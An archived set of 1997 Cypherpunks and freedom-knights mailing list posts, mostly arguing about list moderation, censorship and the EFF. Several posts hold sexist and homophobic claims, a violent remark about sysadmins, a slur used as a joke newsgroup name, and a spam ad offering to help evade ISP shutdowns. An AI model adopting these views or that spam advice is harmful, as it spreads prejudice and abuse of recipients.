Date: Sat, 15 Feb 1997 09:26:19 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151726.JAA27051@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:

> >   * If gays ruined usenet, does that mean at one point usenet was a
> >     good thing before it was ruined?  If so, gay people at least
> >     deserve credit for creating something good, even if they didn't
> >     manage to run it well.
> 
> Suppose for argument's sake that the people who created Usenet all
> happened to be gay. Why would "gay people" as a whole, most of whom
> had nothing to do with it, deserve credit for it?

Okay.  Suppose for argument's sake that the people who are censoring
Usenet all happen to be gay?  Why, then, would all gay people deserve
blame for these actions?

Now suppose they aren't gay.  Them whom are these homohpobic rants
really attacking?  Gay people or censors?  If you say, for instance,
"New cypherpunks list for heterosexuals only", who do you think is
actually going to be affected by this?  Certainly not Gilmore who is
completely disillusioned with cypherpunks at this point and not likely
to subscribe any mailing list a person like that runs anyway.  Rather,
you are attacking people who happen to be gay but would otherwise be
interested in subscribing to the mailing list.

Now suppose it's not instantly possible to discern a person's sexual
orientation over the internet, as Dr. Grubor claims it is.  Suppose
further that some of the people who censor Usenet are gay, and others
aren't.  Some of the people in favor of free speech are gay, others
are not.  Many of those who are straight don't just come out and say,
"I am not gay," for the simple reason that they oppose discrimination
based on sexual orientation and don't believe one's sexual orientation
should be relevant to a debate on censorship.  In such a case,
refocusing the debate on homosexuality rather than censorship hardly
furthers your objectives.

I believe homophobia is a great way to bring out the censors in
people.  However, inducing censorship is only part of fighting it.
You also need respectable people to some in, argue cogently against
the dangers of censorship, perhaps even get some extremely reasonable
articles suppressed, and then spread the word about it.  I find the
freedom-knights tactics' extremely lacking in this second, "clean up
and analyze the mess" phase.

As a recent example illustrates well, Vulis did a nice job of inducing
censorship on cypherpunks.  However, I think most peoples' opinions
didn't really turn, or at least people didn't realize how serious
things were and didn't really care, until Tim May [someone the many
freedom-knights hate] started criticizing this censorship in extremely
reasonable messages that were suppressed from both the -edited and
-flames mailing list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 22:42:54 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The EFF
Message-ID: <199702160642.WAA26984@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Timothy C. May wrote:
> > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> It is my (limited) understanding that the EFF has discovered that
> the support that comes with private philanthropy from will o'wisp
> Bay Area 'liberals' doesn't carry the terrible burden of having to
> compete for the petty contributions of the UnRich.
> I have a brother-in-law who gives seminars to the Nouveau Riche in
> the Bay Area, teaching them how to give their money away to 'good'
> causes. I believe that one of the prime considerations in separating
> the 'good' causes from the 'bad' causes has something to do with the
> the proper wine being served with the cheese and cracker offerings
> during their cocktail parties.

Wine and cheese are the key.  You hit that one on the head.  I tried
those Mensa parties in Beverly Hills a few times, but the girls want
you to kiss their hands like some kinda princesses or something,
whereas I think a simple handshake would suffice.  So I just quit
going.  Maybe this has something to do with why there are no c-punks
meetings in the L.A. area.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sat, 15 Feb 1997 17:11:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160111.RAA14431@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> 
> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> 
>I believe homophobia is a great way to bring out the censors in
>people.  However, inducing censorship is only part of fighting it.
>You also need respectable people to some in, argue cogently against
>the dangers of censorship, perhaps even get some extremely reasonable
>articles suppressed, and then spread the word about it.  I find the
>freedom-knights tactics' extremely lacking in this second, "clean up
>and analyze the mess" phase.
> 

  Yes but the process is a very long term one--you seemed focused
on this specific instance.  I'm especially interested in the demise
of plug pulling sys admins for example--they should be hung by their
balls from the highest pole--the kind of net.slime EFF protects.  As
for analysis and cleanup that's a bit easier to contain on a list
as opposed to the usenet at large.

>As a recent example illustrates well, Vulis did a nice job of inducing
>censorship on cypherpunks.  However, I think most peoples' opinions
>didn't really turn, or at least people didn't realize how serious
>things were and didn't really care, until Tim May [someone the many
>freedom-knights hate] started criticizing this censorship in extremely
>reasonable messages that were suppressed from both the -edited and
>-flames mailing list.

  And for that to happen vivid examples of such censorship had to 
occur and a snake was exposed as being a snake.  Seems like it worked
extremely well to me.  It also appears that the cleanup you rightly
refer to is happening as a natural progression--same will be true
hopefully on a broader scale on usenet when others personally get
a taste of the censorship that is lurking behind every corner.  
And for those who jumped on the bandwagon because Mr. May was
being censored as oppossed to Dr. Vulis--they are sad people indeed.

                          Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 15 Feb 1997 13:57:54 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702152157.NAA07573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > Here I can agree, I personally discriminate on the basis of sex, not 
> > in that I believe women inferior to men but rather that I believe 
> > each sex better suited to different tasks and vocations.
> > That is not, however, to say that I believe women should be prevented 
> > from taking up lines of work that men traditionally hold.
> > They are free to do so, but as in the example you give later 
> > I would feel uncomfortable having my car serviced by a woman.
> 
> <flame-retardant suit on>
> 
> Normally I would ignore this sort of comment (which probably belongs in 
> some soc. newsgroup), but I feel obliged to point out that:
> 
> - The female <mechanic / scientist / engineer>, in addition to passing the
> same exams as her male classmates, has probably had to put up with a fair
> load of B.S. questioning her right and ability to be there.  The ones that
> keep at it long enough to graduate are the ones that *really* want to do 
> whatever it is, and IMHO are more likely to try harder.

Not my point, I didn`t say I would refuse, as in my example, to have 
my car serviced by a woman, rather, that I would not feel comfortable 
doing so. This is not prejudice, it is a statistical judgement based 
on the fact that, as a percentage, I know few women who are competent 
car mechanics but I know a number of men who, by the same criteria, I 
would call competent. 

> Chicken and Egg: How much of "each sex [is] better suited to different
> tasks" is due to little girls being pulled away from the Lego and toy
> trucks, and encouraged to play with Barbies?  Being told that they are 
> *pretty* not *smart* as a form of approval? 

Very much so, I did not intend, even though my post may have appeared 
that way, for one minute to suggest that women were *unable* to carry 
out certain tasks, just that they seem less suited to certain 
vocations that others. For example, I know a number of good female 
History or English students but very few good female mathematics 
or computer science students. This is not, I believe, because women are 
not "suited" to computer science rather that they have never been encouraged 
at high school etc. to learn about such subjects which are seen as male preserves. 
I wholeheartedly believe this should not be the case, and my original 
post may have been misleading, I just believe that in the current 
system very few women do become good at science/technical subjects.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zac <speidel@lightspeed.net>
Date: Sun, 16 Feb 1997 07:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <199702161510.HAA17732@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBCRIBE CYPHERPUNKS lspeiel@lightspeed.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sat, 15 Feb 1997 22:56:34 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160656.WAA27621@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 paul@fatmans.demon.co.uk wrote:

<earlier discussion excised>

> Not my point, I didn`t say I would refuse, as in my example, to have 
> my car serviced by a woman, rather, that I would not feel comfortable 
> doing so. This is not prejudice, it is a statistical judgement based 
> on the fact that, as a percentage, I know few women who are competent 
> car mechanics but I know a number of men who, by the same criteria, I 
> would call competent. 

Acknowledged, agree to disagree :-).  (Very few of my male friends
can do more than sew on a button, but that doesn't weight my choice
of a *professional* tailor.)  It did, however, sound like you were
agreeing with the previous poster's (more extreme) position.

> Very much so, I did not intend, even though my post may have appeared 
> that way, for one minute to suggest that women were *unable* to carry 
> out certain tasks, just that they seem less suited to certain 
> vocations that others. For example, I know a number of good female 
> History or English students but very few good female mathematics 
> or computer science students. This is not, I believe, because women are 
> not "suited" to computer science rather that they have never been encouraged 
> at high school etc. to learn about such subjects which are seen as male preserves. 
> I wholeheartedly believe this should not be the case, and my original 
> post may have been misleading, I just believe that in the current 
> system very few women do become good at science/technical subjects.

Agreed (sadly) that there is a dearth of role models like Mme. Curie
or Roberta Bondar.

There is also an unfortunate "geek stigma" often attached to those
who are good at math or science (male or female). Whether this stigma
discourages more girls than boys is questionable (psychology thesis,
anyone?), but it has probably resulted in good-math-potential brains
taking economics (or whatever) instead.  Fewer competitors for the
56-bit prize, but also fewer brains thinking up better PRNGs.

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 16 Feb 1997 07:11:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam, Spam, Digital Postage, and Spam
Message-ID: <199702161511.HAA17742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 15 Feb 1997 22:56:48 -0800 (PST)
To: Dale Thorn <cypherpunks@toad.com>
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702160656.WAA27644@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970215:1003 Dale Thorn <dthorn@gte.net> said:

+Vladimir Z. Nuri <vznuri@netcom.com> said:

+> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
+> the logical conclusion of your views playing out before you. acrimony,
+> bitterness, resignation, chaos, confusion, cacaphony, anarchy.

+Perhaps you should turn your talents to writing country songs.

    and if I play it backwards I get my dawg, my truck, and my gittar back.

 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwaj+b04kQrCC2kFAQH0oAQA3pueKSWg2Fqvb6h3psP67rF18N/kwaMP
nD6LE7DgzNYVTYwwKjk/eT8/i2kdSEAS8MqkmVc7KwZqsHWl4Ttj23A1GaTHzobL
IWwfRAR6BJfcjyvQSzkG/Pq4R7FYvyLoSAqwsYLvlWvC35kiYwwjll9/zprLQbWq
RHlrPaY54EU=
=I9gB
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Sun, 16 Feb 1997 09:57:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale: What a laff!
Message-ID: <199702161757.JAA24340@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sat, 15 Feb 1997 18:42:11 -0800
From: Dale Thorn <dthorn@gte.net>

Dale sagely wrote:

:Wine and cheese are the key.  You hit that one on the head.  I tried
:those Mensa parties in Beverly Hills a few times.

Oh what a kidder this Dale is.  At Mensa party no less!!

Whatta farce!

Still love you fella.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Sun, 16 Feb 1997 09:56:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI_100
Message-ID: <199702161756.JAA24251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sun, 16 Feb 1997 07:26:10 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re:
Message-ID: <199702161526.HAA18383@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > PS. His sexist comments are rubbish too.  I usually like his crypto posts,
> > however, as long as they are technical rather than legal...
> 
> Paul's sexist comments are very interesting - I hope to find more time to
> comment on them too. I don't know if they have the same kind of "affirmative
> action" in the U.K. that they have in the U.S. - here if you find a woman
> in the position of authority, there's a good chance that she was promoted
> ahead of more qualified men to meet some quota, and is therefore incompetent.

We do not have such laws as far as I`m aware (I try to know as little 
as possible about law and finance/econimics as I find them intensely 
boring, even if they are necessary knowledge as a proponent of 
freedom of action and speech) but in my experience a number of 
employers promote women ahead of men in order to avoid costly 
industrial tribunals brought for discrimination. I also believe for 
the same reasons a lot of known homosexuals, blacks, <insert minority 
group of choice here> are promoted ahead of more qualified white, 
straight males.
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 10:01:02 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702161801.KAA24479@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Dale Thorn wrote:

> Date: Sat, 15 Feb 1997 18:21:07 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: ichudov@algebra.com, dave@kachina.jetcafe.org, cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Kent Crispin wrote:
> > Dale Thorn allegedly said:
> > > If I understood the last several hundred messages correctly, they have
> > > tried to make the point that the cypherpunks mailing list (unedited)
> > > was more ideal than a newsgroup.  If this is what Dave is offering,
> > > I'm surprised if more people don't jump on it.  Then again, they
> > > took their good ol' time jumping onto cypherpunks-unedited.
> 
> > Dave is offering a single mailing list, which, while I am sure Dave is
> > a great person, still represents a single point of control and a
> > single point of failure.  A distributed mailing list has a potential
> > for being much more robust, and for supporting a wide range of
> > viewpoints.  Furthermore a distributed mailing list is an interesting
> > minor technical problem, and a good solution could have wide
> > applicability.
> > So I think that people would like to get the distributed list going...
> 
> I hope this doesn't duplicate the earlier message - if someone were
> tracking all this activity and kept the lists informed about what
> was available where - and particularly if the downloading could be
> automatic as in the subscription lists - that would be ideal.
> 
> I wanted to spend some time on alt.cypherpunks, but I haven't got
> thru the subscription mail for the last few days yet.  If there's
> a scheme that works better than just ad-hoc looking, I'd sure like
> to know.
> 

You mean there is an alt.cypherpunks mailing list?
That is not on my server.

I have mail.cypherpunks though, and I thought that was
the usenet newsgroup for cypherpunks.

let's see what dejanews says about this one.

How about every posting to alt.underground for the time being,
until we get this matter settled?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:56:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: The EFF
Message-ID: <199702161756.JAA24277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Dale Thorn wrote:

> Date: Sat, 15 Feb 1997 18:43:51 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: Toto <toto@sk.sympatico.ca>
> Cc: cypherpunks@algebra.com, cypherpunks@toad.com,
>     freedom-knights@jetcafe.org
> Subject: Re: The EFF
> 
> Toto wrote:
> > Timothy C. May wrote:
> > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> > It is my (limited) understanding that the EFF has discovered that
> > the support that comes with private philanthropy from will o'wisp
> > Bay Area 'liberals' doesn't carry the terrible burden of having to
> > compete for the petty contributions of the UnRich.
> > I have a brother-in-law who gives seminars to the Nouveau Riche in
> > the Bay Area, teaching them how to give their money away to 'good'
> > causes. I believe that one of the prime considerations in separating
> > the 'good' causes from the 'bad' causes has something to do with the
> > the proper wine being served with the cheese and cracker offerings
> > during their cocktail parties.
> 
> Wine and cheese are the key.  You hit that one on the head.  I tried
> those Mensa parties in Beverly Hills a few times, but the girls want
> you to kiss their hands like some kinda princesses or something,
> whereas I think a simple handshake would suffice.  So I just quit
> going.  Maybe this has something to do with why there are no c-punks
> meetings in the L.A. area.
> 

Dale, so you are in mensa?  Did you have to take a test?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:56:16 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dave Hayes takes over Cypherpunks
Message-ID: <199702161756.JAA24295@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Igor Chudov @ home wrote:

> Date: Sun, 16 Feb 1997 09:35:27 -0600 (CST)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: aga <aga@dhp.com>
> Cc: ichudov@algebra.com, toto@sk.sympatico.ca, freedom-knights@jetcafe.org,
>     cypherpunks@algebra.com
> Subject: Re: Dave Hayes takes over Cypherpunks
> 
> aga wrote:
> > On Sat, 15 Feb 1997, Igor Chudov @ home wrote:
> > > Date: Sat, 15 Feb 1997 09:07:40 -0600 (CST)
> > > From: "Igor Chudov @ home" <ichudov@algebra.com>
> > > To: aga <aga@dhp.com>
> > > Cc: toto@sk.sympatico.ca, freedom-knights@jetcafe.org,
> > >     cypherpunks@algebra.com
> > > Subject: Re: Dave Hayes takes over Cypherpunks
> > > 
> > > > ======================================
> > > > == This list is still experimental. ==
> > > > == admin       ichudov@algebra.com  ==
> > > > ======================================
> > > > 
> > > 
> > > Just fyi, I am removing this footer from the list config.
> > > 
> > > It was here so that people could tell that the list was new and 
> > > glitches were likely to happen.
> > > 
> > 
> > O.K. what are you doing, Igor?  Is this a new cypherpunks list?
> 
> This is ONE OF new cypherpunks lists. These lists will soon be
> connected to each other so that people subscribed to any of them
> will receive all article sent to each list.
> 
> Kinda like USENET.
>  

10-4

It is like a new hierarchy, huh? {;-)-~

cmsg newgroup cypherpunks.cunt







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 14:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI_100
Message-ID: <199702162241.OAA04866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 16 Feb 1997 14:40:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Jim Beam' me up, Scotty!
Message-ID: <199702162240.OAA04852@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


scribve cypherpunks-thenextgeneration "Dr. Spook" <6UALDV8@cyberspace.9>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 14:56:13 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162256.OAA05752@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation writes:
> I believe homophobia is a great way to bring out the censors in
> people.  However, inducing censorship is only part of fighting it.

You assume that it is an enemy to be fought. While censorship is
clearly undesireable, making it an enemy only strengthens it.

> You also need respectable people to some in, argue cogently against
> the dangers of censorship, perhaps even get some extremely reasonable
> articles suppressed, and then spread the word about it.  I find the
> freedom-knights tactics' extremely lacking in this second, "clean up
> and analyze the mess" phase.

Part, if not all, of that lack is due to our knowledge of the
subjective standard of "respectability" that human beings have.
That's the same differentiation used in many censorship attempts, and
if we made or supported such differentiations this would undermine any
anti-censorship actions we could take.

The meta-points are:

- What is reasonable to you may or may not be reasonable to me. That is
why we refrain from censoring others, since we have no absolute
standard of reasonability.

- You appear to be concerned with convincing others. We are not
concerned with that, since we know that the default for most others is
to be invincibly unconvincable. We are simply here to be living 
models for an arbitrary code of behavior...that behavior being
outlined in the Freedom Knights FAQ. 

- Please remember that you have to judge who is and is not a Freedom
Knight by their -actions- and not their claims. 

> censorship on cypherpunks.  However, I think most peoples' opinions
> didn't really turn, or at least people didn't realize how serious
> things were and didn't really care, until Tim May [someone the many
> freedom-knights hate] started criticizing this censorship in extremely
> reasonable messages that were suppressed from both the -edited and
> -flames mailing list.

Assuming that is true, that people do not care about censorship until
a person with an arbitrary reasonability says something, I would say
that such a group cares not about free speech...even if they think
they do.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Two men were fighting outside Nasrudin's window at dead of night. Nasrudin 
got up, wrapped his only blanket around himself, and ran outside. As he 
tried to reason with the drunks, one snatched his blanket and both ran away.
"What were they arguing about?" asked his wife when he went in. "It must 
have been the blanket. When they got that, the fight broke up."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sun, 16 Feb 1997 14:56:08 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162256.OAA05746@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> 
>> censorship on cypherpunks.  However, I think most peoples' opinions
>> didn't really turn, or at least people didn't realize how serious
>> things were and didn't really care, until Tim May [someone the many
>> freedom-knights hate] started criticizing this censorship in extremely
>> reasonable messages that were suppressed from both the -edited and
>> -flames mailing list.
> 
> Assuming that is true, that people do not care about censorship until
> a person with an arbitrary reasonability says something, I would say
> that such a group cares not about free speech...even if they think
> they do.

  I agree--and again that is sad.  Hopefully many have learned from 
the experience--that does on occassion really happen.

                           Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl3.crl.com>
Date: Sun, 16 Feb 1997 19:56:25 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Moderation experiment and moderator liability (fwd)
Message-ID: <199702170356.TAA17430@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

Adam has assembled a pretty good history of recent events.  The
following comments only cover some of the issues raised by Adam.
It should not be assumed that I agree with all the statements
upon which I do not comment.  I have limited myself to commenting
on only a few issues with which I am in dispute.

On Sun, 16 Feb 1997, Adam Back wrote:

> Events:

> 9. John made a post to the list announcing that the list would be
> moderated for one month from Jan 11 as an experiment, and included
> Sandy Sandfort's proposed moderatation policy and offer to act as
> moderator.  It appeared that the moderation experiment was Sandy's
> suggestion, and that John had agreed to go along with it.

Moderation was my suggestion, but the moderation policy was not.
My suggestion was quite different.  In a nutshell I wanted to:

	a.  Limit posts to list members only.
	b.  Promote civility on the list by applying sanction to
	    list members who repeatedly flamed or otherwise 
	    breached civil decorum.
	c.  Provide for anonymous or non-member posts by having
	    volunteers act as "gateways" who would forward 
	    anonymous--but civil--posts to the list.

Curiously, in a subsequent telephone conversation, Tim May 
proposed almost that exact suggestion as an alternative form of
moderation that he said would have been acceptable to him.  Go
figure.
 
> 21. Tim received a warning from C2Net's lawyers that if he did not
> desist from mentioning that Dimitri had posted an article criticising
> a C2Net product that he would be sued!

Absolutely false.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Product Link <p-link@usa.net>
Date: Sun, 16 Feb 1997 19:56:28 -0800 (PST)
Subject: We Will Send Your Bulk Email
Message-ID: <199702170356.TAA17436@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




*If you want to be removed from our mailing list, please respond to this
email and put "Remove" in the subject line.


We will send out your bulk E Mail.  Period.  No qualifiers, no conditions,
no nonsense...and we'll do it at the best prices.

We are Product Link.  We are a business partner with a marketing 
company which develops buyers for its clients' products through electronic 
marketing; primarily broadcast fax.  Together, we have over a hundred clients, 
almost 10% of which are Fortune 500 companies.   We have numerous staff, 
and have just begun, at client request, to send high volumes of E Mail.

If you're new to bulk E Mail marketing, as we were a short time ago, I can
confirm that all the E Mails you've been getting from E Mail software
companies about how great E Mail marketing is; well, they're true.  However,
as those of you who have already purchased software and have tried bulk
E mail know, nothing good ever comes easy.

Our staff has spent millions of advertising dollars on our clients' behalf;
everything from commercials on the Superbowl to ads in the New York Times,
to full page spreads in Scientific American.; not to mention the sending
of over 1,000,000 marketing faxes a year for major corporations.

Bulk E mail has been quite an eye opener.

The Internet, the on line services and ISP providers are full of shrill,
self appointed "net cops," whose mission in life seems to be dumping on those
who have the audacity to sell product via E Mail.   I don't wish nor intend
to debate the issue here, except to say that if you've purchased bulk E Mail
software (or intend to), you've already found out that when you attempt to
use it, your ISP provider will shut you down, your E Mail account will be
bombed, and electronic flames will become a way of life.

Since we have a low tolerance for allowing small groups of vocal fanatics
to dictate our business life, we set up our own system to send out Bulk
E Mail.  This system will be greatly expanded in 30 days or so (we're
installing more T lines), but we currently have room on our system to send
out Bulk E Mail for a limited number of companies or individuals other
than ourselves.

We'll send out your order, large or small.  We'll do it quickly, and
we'll do it at a really great price.  You can supply the list, or we'll
supply the list.  Place an order with us, and we'll give you advice on
how to set up your E Mail so your on line service won't shut you down, how
to write your material, and much more.  We will also write your marketing
material, if you so desire. If you supply a list, we can run it through
our computer program to sort out all duplicates and bad AOL or CompuServe
addresses.  If you buy a list from us, we will guarantee that the exact
number of names you order will go out; if we send a list for you and a
number of addresses are not delivered, we will send out more E Mails until
you get delivered exactly what you ordered. We can even tell you how to
confirm that your list was sent.

We also have programs that can filter out E Mail "bombs" and other
irritating toys played with at your expense by people who don't
have a life.

When we first began exploring bulk E mail, we contacted numerous firms
advertising that they would send out bulk E mail.  What we got was
answering machines, disconnected numbers, and no call backs.  The one firm
that did contract us would only send limited numbers of E mails for
us, and then only if we had already sent the list out once and taken off all
the removes (go figure...if we could send out the list once, what did we
need them for?).  We finally got so exasperated, we set up our own system.
And are we glad we did.  Speaking as a marketing man with over 30 years
experience in major advertising, E Mail marketing will change the face of
advertising and cost of sale forever.  I do not believe that has ever been
a vehicle like it in history to allow anyone of any size and any budget to
advertise and sell their products literally overnight.  We employ 18 people,
and I guarantee you that when you E Mail us back, you'll get a call.
Right away.  And the office phone number we give you, will have a live
person at the other end.

Following is a price list to give you an idea of the 
quality of our company.  Please bear in mind that Bulk E Mail is 
effective in large numbers; i.e., 25,000 and above.

Price List To Send Bulk E Mail:

Amount			Cost		Set Up (One Time Fee)

25,000			$150.00		$50.00		

50,000			$275.00		$50.00

75,000			$400.00		$50.00

100,000			$550.00		$50.00		


Bulk E Mail amounts above 100,000 per sending will be bid on a 
case by case basis.  If  you wish to modem us a list, there may be a 
small charge for down load depending on list size.  If you wish us to 
"clean" your list (remove all duplicates and bad addresses), we will  supply a 
bid on a case by case basis as with writing your marketing materials and 
other services.

If we may be of service to you, please call us directly at 
(805) 654-4042.  Thank you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Feb 1997 20:12:56 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: The EFF
Message-ID: <199702170412.UAA18116@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Sat, 15 Feb 1997, Dale Thorn wrote:
> > Toto wrote:
> > > Timothy C. May wrote:
> > > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:

> > > I have a brother-in-law who gives seminars to the Nouveau Riche in
> > > the Bay Area, teaching them how to give their money away to 'good'
> > > causes. I believe that one of the prime considerations in separating
> > > the 'good' causes from the 'bad' causes has something to do with the
> > > the proper wine being served with the cheese and cracker offerings
> > > during their cocktail parties.

> > Wine and cheese are the key.  You hit that one on the head.  I tried
> > those Mensa parties in Beverly Hills a few times, but the girls want
> > you to kiss their hands like some kinda princesses or something,
> > whereas I think a simple handshake would suffice.  So I just quit
> > going.  Maybe this has something to do with why there are no c-punks
> > meetings in the L.A. area.

> Dale, so you are in mensa?  Did you have to take a test?

I joined in 1986 at the urging of my sort-of lawyer (not a real
lawyer, but much better actually) from Beverly Hills.  He liked the
parties since he was trolling for babes; recent (1986) divorce and all.

